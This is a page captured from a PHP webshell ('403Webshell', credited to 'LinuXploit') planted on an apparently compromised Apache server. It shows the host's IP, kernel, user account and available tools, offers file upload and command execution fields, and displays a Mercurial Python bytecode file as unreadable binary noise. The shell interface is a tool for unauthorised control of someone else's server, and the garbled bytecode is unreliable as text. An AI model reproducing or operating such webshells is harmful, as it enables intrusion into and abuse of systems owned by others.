403Webshell
Server IP : 74.208.236.52  /  Your IP : 216.73.217.98
Web Server : Apache
System : Linux infong527 4.4.400-icpu-115 #2 SMP Mon Jul 6 08:15:05 UTC 2026 x86_64
User : u44043973 ( 5404757)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/mercurial/__pycache__/diffutil.cpython-313.pyc
�

6�hy���SSKJr SSKrSSKJrJrJr SSKJr SSKJ	r	 SSK
JrJr \R(aSSK
Jr \\\4rSS
S	jjrSSS
jjrSrg)�)�annotationsN)�Any�Dict�Optional�)�_)�nullrev)�mdiff�pycompat)�uic�"�[UUUUSSSUS9$)z6return diffopts with all features supported and parsedT)�opts�	untrusted�section�git�
whitespace�formatchanging�configprefix)�difffeatureopts)rrrrrs     �4/usr/lib/python3/dist-packages/mercurial/diffutil.py�diffalloptsr#s)���
�
������!�	�	�c��^^^^^�STRS4S*UUUUU4SjjjnU"S5U"SS5U"STRS9S.n	TRS	S
5U	S
'U(aqU"S5U	S'TRS	S5U	S
'TRS	S5n
U
b<Sn[U
5nUS:dUS:�a[S5nTR	X�-5 X�S'U(a0U"SS5U	S'U"SS5U	S'U"SS5U	S'U"SS 5U	S 'U(aXTcSOTR
S!5U	S!'TcSOTR
S"5n
U
bU
(+OU"S#S$S%9U	S#'U"S&S$S%9U	S&'U"S'S(S$S%9U	S)'[R"S+0[R"U	5D6$![
aB U
S:XdU
S:XaSnN�U
S:XaSnN�U
S:wa[S5nTR	X�-5 GNf=f!X�S'f=f),z�return diffopts with only opted-in features parsed

Features:
- git: git-style diffs
- whitespace: whitespace options like ignoreblanklines and ignorews
- formatchanging: options that will likely break or cause correctness issues
  with most diff parsers
Nc��>�T(a/TRU5nU(d[U[5(aU$UbTR5(aU$U"TTU=(d U-T	S9$)N)r)�get�
isinstance�bool�plain)
�key�name�getter�
forceplain�vrrrrrs
     �����rr�difffeatureopts.<locals>.getJs^��������
�A��J�q�$�'�'����!�b�h�h�j�j�����\�T�[�S�1�Y�
�	
r�nodatess
show_function�showfuncsunified)r!)r%r&scontextsexperimentalsxdiffsgitsextendedheader.similaritysshowsimilaritysextendedheader.indexr�(s.invalid length for extendedheader.index: '%d'
sshortr�sfullsnones-invalid value for extendedheader.index: '%s'
sindexsignore_all_spacesignorewssignore_space_changesignorewsamountsignore_blank_linessignoreblanklinessignore_space_at_eolsignorewseolstextsbinarysnobinaryF)r"snoprefixs	word_diffs	word-diffsworddiff)r�bytesr zOptional[bytes]r"zOptional[bool]�returnr�)�
configbool�config�intr�warn�
ValueErrorrr
�diffoptsr�	strkwargs)rrrrrrrrr�	buildopts�hconf�hlen�msg�binarys````   `      rrr7s\���*!%��}�}�%)�	
�
�
��
�#�	
�


�
�
�2�
�O��)�;�7��
�2�9�9�5��I�
�-�-���B�I�h��
���K�	�&��(*�}�}��9�(
�	�#�$��	�	�/�+B�C�����D�
+��5�z���!�8�t�b�y��N�O�C��G�G�C�J�'�'+�(�#��!$�%8�+�!F�	�+��'*�"�$5�(
�	�#�$�*-�!�#6�*
�	�%�&�%(�(>��$O�	�.�!��%)�\�T�t�x�x��7H�	�'�����4�8�8�I�+>���!��J��[�U�3�	�+��
"%�[�U�!C�	�+��!$��,�5�"
�	�+���>�>�:�H�.�.�y�9�:�:��E�
)��H�$�����D��g�%��D��g�%��M�N�C��G�G�C�K�(��
)��'+�(�#�s<�5F�G#�/G&�1G#�9G&�;$G#�G&�"G#�#G&�&G,c�Z�UR5nURRSS5(a�UR5R	5[
:wa�SSKJnJn URU5nURUR55 URRSS0S5 URR5 URUR5US9 S	S	S	5 S	S	S	5 U$UR5$!,(df   N(=f!,(df   U$=f)
z�get the context object to use as parent when diffing


If diff.merge is enabled, an overlayworkingctx of the auto-merged parents will be returned.
�diffsmerger)�context�merge)suis
forcemerges#internal:merge3-lie-about-conflictss
merge-diff)�wcN)�reporr,�p2�revr	�r:r;�overlayworkingctx�setbase�p1�configoverride�silent)�ctxr=r:r;�wctxs     r�diff_parentrH�s����8�8�:�D��w�w���'�8�,�,��������7�1J�	
�
�(�(��.�����S�V�V�X��
�W�W�
#�
#��:�	
�
�
������!����C�F�F�H���.�"�
����v�v�x��	"�!��
�
���s$�.D�	D
�(D�

D	�D�
D*)NFr9r)r�uimod.uir�Optional[_Opts]rrrr)rr)r*�mdiff.diffopts)NFr9FFFr)rrIrrJrrrr)rrrrrrrr)r*rK)�
__future__r�typingrrr�i18nr�noder	r@r
r�
TYPE_CHECKINGr�uimodr)�_OptsrrrHr+rr�<module>rSs��#�
������

����	
�U�C�Z���
!�������
�����	�
���
�,!����� ��i;��i;�
�i;��i;��	i;�

�i;��
i;��i;��i;��i;�Xr

Youez - 2016 - github.com/yon3zu
LinuXploit